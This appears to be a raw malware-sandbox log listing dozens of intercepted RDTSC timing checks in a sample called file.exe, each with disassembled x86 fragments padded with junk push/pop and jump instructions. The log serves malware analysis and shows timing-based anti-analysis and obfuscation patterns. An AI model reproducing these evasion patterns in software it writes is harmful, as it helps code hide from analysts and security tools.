Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D843 second address: 109D851 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F795D second address: 10F796B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0C00BB0B06h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F796B second address: 10F7971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7971 second address: 10F7975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FB747 second address: 10FB74D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1078B52 second address: 1078B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C1BD second address: 107C1C3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100158 second address: 110015E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C01E0 second address: 10C01E6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C01E6 second address: 10C01EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C01EC second address: 10C01F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C01F0 second address: 10C0203 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F0C00BB0B08h 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0203 second address: 10C02B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF4Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a mov dx, bx 0x0000000d push dword ptr fs:[00000000h] 0x00000014 jmp 00007F0C0133BF59h 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 jc 00007F0C0133BF4Ch 0x00000026 mov dword ptr [ebp+122D1B6Ch], eax 0x0000002c mov dword ptr [ebp+12483E64h], esp 0x00000032 mov di, F920h 0x00000036 cmp dword ptr [ebp+122D289Fh], 00000000h 0x0000003d jne 00007F0C0133C003h 0x00000043 mov dword ptr [ebp+122D17ECh], edx 0x00000049 mov ecx, eax 0x0000004b mov byte ptr [ebp+122D1A20h], 00000047h 0x00000052 push 00000000h 0x00000054 push esi 0x00000055 call 00007F0C0133BF48h 0x0000005a pop esi 0x0000005b mov dword ptr [esp+04h], esi 0x0000005f add dword ptr [esp+04h], 00000017h 0x00000067 inc esi 0x00000068 push esi 0x00000069 ret 0x0000006a pop esi 0x0000006b ret 0x0000006c mov dword ptr [ebp+1244CDB0h], edi 0x00000072 pushad 0x00000073 mov cx, bx 0x00000076 xor dword ptr [ebp+122D1F76h], edx 0x0000007c popad 0x0000007d mov eax, D49AA7D2h 0x00000082 sub cx, 4F97h 0x00000087 push eax 0x00000088 pushad 0x00000089 push esi 0x0000008a push eax 0x0000008b push edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C02B0 second address: 10C02B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C02B9 second address: 10C02BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0510 second address: 10C0534 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F0C00BB0B0Fh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F0C00BB0B0Ch 0x00000014 jg 00007F0C00BB0B06h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0662 second address: 10C066C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F0C0133BF46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C066C second address: 10C0670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0670 second address: 10C0695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jmp 00007F0C0133BF58h 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0A03 second address: 10C0A15 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0C00BB0B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F0C00BB0B0Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0C43 second address: 10C0C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0C47 second address: 10C0C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0F91 second address: 10C0FB0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0C0133BF46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F0C0133BF4Dh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0FB0 second address: 10C0FBA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0C00BB0B0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0FBA second address: 10C0FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edi, 127684A2h 0x0000000c push 0000001Eh 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F0C0133BF48h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushad 0x0000002d popad 0x0000002e push esi 0x0000002f pop esi 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100435 second address: 1100439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11005B2 second address: 11005B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100721 second address: 110074C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 js 00007F0C00BB0B06h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0C00BB0B16h 0x00000014 jc 00007F0C00BB0B06h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110074C second address: 1100762 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11008DF second address: 11008FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jmp 00007F0C00BB0B0Fh 0x0000000e pushad 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11008FB second address: 1100904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100904 second address: 1100918 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0C00BB0B06h 0x00000008 jno 00007F0C00BB0B06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100918 second address: 110091E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110091E second address: 1100932 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jc 00007F0C00BB0B06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F0C00BB0B06h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100AA3 second address: 1100AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100D48 second address: 1100D54 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0C00BB0B06h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100D54 second address: 1100D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C0133BF4Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100D66 second address: 1100D6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110409F second address: 11040BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C0133BF59h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11040BC second address: 11040C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106B56 second address: 1106B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106B5E second address: 1106B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F0C00BB0B0Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106B6D second address: 1106B85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C0133BF4Ah 0x00000009 jmp 00007F0C0133BF4Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106B85 second address: 1106B8E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106E66 second address: 1106E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C0133BF52h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106E7C second address: 1106E88 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0C00BB0B06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106E88 second address: 1106E94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F0C0133BF46h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106E94 second address: 1106EA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F0C00BB0B06h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106FF2 second address: 110701B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push edx 0x00000008 jmp 00007F0C0133BF58h 0x0000000d pushad 0x0000000e jno 00007F0C0133BF46h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110701B second address: 1107021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D9EB second address: 110D9FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F0C0133BF46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D9FA second address: 110DA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110DA01 second address: 110DA11 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0C0133BF52h 0x00000008 jl 00007F0C0133BF46h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C287 second address: 110C28D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C717 second address: 110C727 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0C0133BF46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C727 second address: 110C72D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C72D second address: 110C739 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C739 second address: 110C73D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C73D second address: 110C747 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0C0133BF46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C747 second address: 110C74D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C74D second address: 110C752 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110C8AD second address: 110C8B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110CCC1 second address: 110CCF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F0C0133BF52h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F0C0133BF46h 0x00000014 jmp 00007F0C0133BF56h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112C39 second address: 1112C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11120F5 second address: 11120FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11120FB second address: 11120FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11120FF second address: 1112103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111224E second address: 1112267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0C00BB0B06h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop ecx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F0C00BB0B06h 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112267 second address: 111226B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111226B second address: 1112271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112271 second address: 1112288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0C0133BF4Eh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111251C second address: 1112522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115341 second address: 1115355 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jg 00007F0C0133BF46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115355 second address: 1115359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11154D5 second address: 11154E5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F0C0133BF46h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11154E5 second address: 11154F6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0C00BB0B06h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D5E6 second address: 111D5EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D5EC second address: 111D5F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D5F0 second address: 111D607 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF53h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111B64C second address: 111B65E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007F0C00BB0B06h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111B955 second address: 111B96C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C0133BF4Ch 0x00000009 jnc 00007F0C0133BF46h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111BF37 second address: 111BF3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111C25B second address: 111C265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111C7A8 second address: 111C7C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F0C00BB0B0Eh 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111C7C0 second address: 111C7C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111C7C4 second address: 111C7D5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0C00BB0B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111C7D5 second address: 111C7F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C0133BF56h 0x00000009 jl 00007F0C0133BF46h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111C7F6 second address: 111C7FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CD37 second address: 111CD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111CD3B second address: 111CD3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D30B second address: 111D311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D311 second address: 111D328 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C00BB0B13h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112207B second address: 1122083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122083 second address: 112208B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112208B second address: 1122096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0C0133BF46h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122096 second address: 112209E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121475 second address: 1121487 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F0C0133BF4Ah 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121487 second address: 112148C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
